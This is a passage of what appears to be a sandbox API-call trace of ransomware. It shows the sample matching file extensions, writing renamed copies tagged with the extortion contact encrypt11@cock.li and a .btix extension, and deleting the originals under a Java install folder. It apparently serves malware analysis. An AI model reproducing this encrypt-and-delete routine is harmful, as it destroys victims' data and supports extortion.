Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0131.126] lstrlenW (lpString=".doc") returned 4 [0131.126] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0131.126] lstrlenW (lpString=".docx") returned 5 [0131.126] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0131.126] lstrlenW (lpString=".pdf") returned 4 [0131.126] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0131.126] lstrlenW (lpString=".xls") returned 4 [0131.126] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0131.126] lstrlenW (lpString=".xlsx") returned 5 [0131.126] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0131.126] lstrlenW (lpString=".ppt") returned 4 [0131.126] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0131.126] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0131.126] lstrlenW (lpString=".zip") returned 4 [0131.127] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0131.127] lstrlenW (lpString=".rar") returned 4 [0131.127] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0131.127] lstrlenW (lpString=".bz2") returned 4 [0131.127] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0131.127] lstrlenW (lpString=".7z") returned 3 [0131.127] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0131.127] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0131.127] lstrlenW (lpString=".dbf") returned 4 [0131.127] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0131.127] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0131.127] lstrlenW (lpString=".1cd") returned 4 [0131.127] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0131.127] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0131.127] lstrlenW (lpString=".jpg") returned 4 [0131.127] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0131.127] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0131.127] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0131.127] lstrlenW (lpString=".doc") returned 4 [0131.127] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0131.127] lstrlenW (lpString=".docx") returned 5 [0131.127] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0131.127] lstrlenW (lpString=".pdf") returned 4 [0131.127] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0131.127] lstrlenW (lpString=".xls") returned 4 [0131.127] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0131.127] lstrlenW (lpString=".xlsx") returned 5 [0131.127] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0131.127] lstrlenW (lpString=".ppt") returned 4 [0131.127] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0131.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0131.128] lstrlenW (lpString=".zip") returned 4 [0131.128] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0131.128] lstrlenW (lpString=".rar") returned 4 [0131.128] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0131.128] lstrlenW (lpString=".bz2") returned 4 [0131.128] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0131.128] lstrlenW (lpString=".7z") returned 3 [0131.128] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0131.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0131.128] lstrlenW (lpString=".dbf") returned 4 [0131.128] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0131.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0131.128] lstrlenW (lpString=".1cd") returned 4 [0131.128] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0131.128] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0131.128] lstrlenW (lpString=".jpg") returned 4 [0131.128] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0131.128] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0131.128] lstrlenW (lpString="flavormap.properties") returned 20 [0131.128] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0131.129] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=3928) returned 1 [0131.129] CloseHandle (hObject=0x4b0) returned 1 [0131.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 0x20 [0131.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0131.129] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0131.129] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.129] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.129] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0131.130] GetLastError () returned 0x0 [0131.130] ReadFile (in: hFile=0x4b0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0xf58, lpOverlapped=0x0) returned 1 [0131.131] WriteFile (in: hFile=0x4b4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xf60, lpOverlapped=0x0) returned 1 [0131.132] ReadFile (in: hFile=0x4b0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0131.132] WriteFile (in: hFile=0x4b4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xfc, lpOverlapped=0x0) returned 1 [0131.133] SetEndOfFile (hFile=0x4b4) returned 1 [0131.133] CloseHandle (hObject=0x4b4) returned 1 [0131.133] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.133] SetEndOfFile (hFile=0x4b0) returned 1 [0131.135] CloseHandle (hObject=0x4b0) returned 1 [0131.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0131.136] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 1 [0131.136] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0131.136] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0131.136] lstrlenW (lpString=".doc") returned 4 [0131.136] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0131.136] lstrlenW (lpString=".docx") returned 5 [0131.136] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0131.136] lstrlenW (lpString=".pdf") returned 4 [0131.136] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0131.136] lstrlenW (lpString=".xls") returned 4 [0131.136] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0131.136] lstrlenW (lpString=".xlsx") returned 5 [0131.136] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0131.136] lstrlenW (lpString=".ppt") returned 4 [0131.136] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0131.136] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0131.136] lstrlenW (lpString=".zip") returned 4 [0131.136] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0131.136] lstrlenW (lpString=".rar") returned 4 [0131.136] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0131.137] lstrlenW (lpString=".bz2") returned 4 [0131.137] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0131.137] lstrlenW (lpString=".7z") returned 3 [0131.137] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0131.137] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0131.137] lstrlenW (lpString=".dbf") returned 4 [0131.137] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0131.137] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0131.137] lstrlenW (lpString=".1cd") returned 4 [0131.137] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0131.137] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0131.137] lstrlenW (lpString=".jpg") returned 4 [0131.137] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0131.137] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0131.137] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0131.137] lstrlenW (lpString=".doc") returned 4 [0131.137] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0131.137] lstrlenW (lpString=".docx") returned 5 [0131.137] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0131.137] lstrlenW (lpString=".pdf") returned 4 [0131.137] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0131.137] lstrlenW (lpString=".xls") returned 4 [0131.137] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0131.137] lstrlenW (lpString=".xlsx") returned 5 [0131.137] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0131.137] lstrlenW (lpString=".ppt") returned 4 [0131.137] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0131.137] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0131.137] lstrlenW (lpString=".zip") returned 4 [0131.137] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0131.137] lstrlenW (lpString=".rar") returned 4 [0131.137] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0131.137] lstrlenW (lpString=".bz2") returned 4 [0131.137] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0131.137] lstrlenW (lpString=".7z") returned 3 [0131.138] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0131.138] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0131.138] lstrlenW (lpString=".dbf") returned 4 [0131.138] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0131.138] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0131.138] lstrlenW (lpString=".1cd") returned 4 [0131.138] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0131.138] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0131.138] lstrlenW (lpString=".jpg") returned 4 [0131.138] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0131.138] lstrcmpiW (lpString1=".bfc", lpString2=".btix") returned -1 [0131.138] lstrlenW (lpString="fontconfig.bfc") returned 14 [0131.138] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0131.138] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=3770) returned 1 [0131.138] CloseHandle (hObject=0x4b0) returned 1 [0131.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 0x20 [0131.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0131.139] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0131.139] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.139] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.139] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0131.139] GetLastError () returned 0x0 [0131.139] ReadFile (in: hFile=0x4b0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0xeba, lpOverlapped=0x0) returned 1 [0131.141] WriteFile (in: hFile=0x4b4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xec0, lpOverlapped=0x0) returned 1 [0131.142] ReadFile (in: hFile=0x4b0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0131.142] WriteFile (in: hFile=0x4b4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0xf0, lpOverlapped=0x0) returned 1 [0131.142] SetEndOfFile (hFile=0x4b4) returned 1 [0131.142] CloseHandle (hObject=0x4b4) returned 1 [0131.142] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.142] SetEndOfFile (hFile=0x4b0) returned 1 [0131.145] CloseHandle (hObject=0x4b0) returned 1 [0131.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0131.145] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 1 [0131.146] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0131.146] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0131.146] lstrlenW (lpString=".doc") returned 4 [0131.146] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1 [0131.146] lstrlenW (lpString=".docx") returned 5 [0131.146] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1 [0131.146] lstrlenW (lpString=".pdf") returned 4 [0131.146] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1 [0131.146] lstrlenW (lpString=".xls") returned 4 [0131.146] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1 [0131.146] lstrlenW (lpString=".xlsx") returned 5 [0131.146] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1 [0131.146] lstrlenW (lpString=".ppt") returned 4 [0131.146] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1 [0131.146] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0131.146] lstrlenW (lpString=".zip") returned 4 [0131.146] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1 [0131.146] lstrlenW (lpString=".rar") returned 4 [0131.146] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1 [0131.146] lstrlenW (lpString=".bz2") returned 4 [0131.146] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1 [0131.147] lstrlenW (lpString=".7z") returned 3 [0131.147] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1 [0131.147] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0131.147] lstrlenW (lpString=".dbf") returned 4 [0131.147] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1 [0131.147] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0131.147] lstrlenW (lpString=".1cd") returned 4 [0131.147] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1 [0131.147] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0131.147] lstrlenW (lpString=".jpg") returned 4 [0131.147] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1 [0131.147] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0131.147] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0131.147] lstrlenW (lpString=".doc") returned 4 [0131.147] lstrcmpiW (lpString1=".doc", lpString2=".bfc") returned 1 [0131.147] lstrlenW (lpString=".docx") returned 5 [0131.147] lstrcmpiW (lpString1=".docx", lpString2="g.bfc") returned -1 [0131.147] lstrlenW (lpString=".pdf") returned 4 [0131.147] lstrcmpiW (lpString1=".pdf", lpString2=".bfc") returned 1 [0131.147] lstrlenW (lpString=".xls") returned 4 [0131.147] lstrcmpiW (lpString1=".xls", lpString2=".bfc") returned 1 [0131.147] lstrlenW (lpString=".xlsx") returned 5 [0131.147] lstrcmpiW (lpString1=".xlsx", lpString2="g.bfc") returned -1 [0131.147] lstrlenW (lpString=".ppt") returned 4 [0131.147] lstrcmpiW (lpString1=".ppt", lpString2=".bfc") returned 1 [0131.147] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0131.147] lstrlenW (lpString=".zip") returned 4 [0131.147] lstrcmpiW (lpString1=".zip", lpString2=".bfc") returned 1 [0131.147] lstrlenW (lpString=".rar") returned 4 [0131.147] lstrcmpiW (lpString1=".rar", lpString2=".bfc") returned 1 [0131.147] lstrlenW (lpString=".bz2") returned 4 [0131.147] lstrcmpiW (lpString1=".bz2", lpString2=".bfc") returned 1 [0131.147] lstrlenW (lpString=".7z") returned 3 [0131.147] lstrcmpiW (lpString1=".7z", lpString2="bfc") returned -1 [0131.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0131.148] lstrlenW (lpString=".dbf") returned 4 [0131.148] lstrcmpiW (lpString1=".dbf", lpString2=".bfc") returned 1 [0131.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0131.148] lstrlenW (lpString=".1cd") returned 4 [0131.148] lstrcmpiW (lpString1=".1cd", lpString2=".bfc") returned -1 [0131.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc") returned 53 [0131.148] lstrlenW (lpString=".jpg") returned 4 [0131.148] lstrcmpiW (lpString1=".jpg", lpString2=".bfc") returned 1 [0131.148] lstrcmpiW (lpString1=".src", lpString2=".btix") returned 1 [0131.148] lstrlenW (lpString="fontconfig.properties.src") returned 25 [0131.148] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0131.148] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=10568) returned 1 [0131.148] CloseHandle (hObject=0x4b0) returned 1 [0131.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 0x20 [0131.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0131.149] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0131.149] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.149] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.149] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0131.149] GetLastError () returned 0x0 [0131.149] ReadFile (in: hFile=0x4b0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x2948, lpOverlapped=0x0) returned 1 [0131.327] WriteFile (in: hFile=0x4b4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x2950, lpOverlapped=0x0) returned 1 [0131.328] ReadFile (in: hFile=0x4b0, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0131.329] WriteFile (in: hFile=0x4b4, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x106, lpOverlapped=0x0) returned 1 [0131.329] SetEndOfFile (hFile=0x4b4) returned 1 [0131.329] CloseHandle (hObject=0x4b4) returned 1 [0131.329] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0131.329] SetEndOfFile (hFile=0x4b0) returned 1 [0131.334] CloseHandle (hObject=0x4b0) returned 1 [0131.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0131.335] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 1 [0131.335] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0131.335] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0131.335] lstrlenW (lpString=".doc") returned 4 [0131.335] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1 [0131.335] lstrlenW (lpString=".docx") returned 5 [0131.335] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1 [0131.335] lstrlenW (lpString=".pdf") returned 4 [0131.335] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1 [0131.335] lstrlenW (lpString=".xls") returned 4 [0131.336] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1 [0131.336] lstrlenW (lpString=".xlsx") returned 5 [0131.336] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1 [0131.336] lstrlenW (lpString=".ppt") returned 4 [0131.336] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1 [0131.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0131.336] lstrlenW (lpString=".zip") returned 4 [0131.336] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1 [0131.336] lstrlenW (lpString=".rar") returned 4 [0131.336] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1 [0131.336] lstrlenW (lpString=".bz2") returned 4 [0131.336] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1 [0131.336] lstrlenW (lpString=".7z") returned 3 [0131.336] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1 [0131.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0131.336] lstrlenW 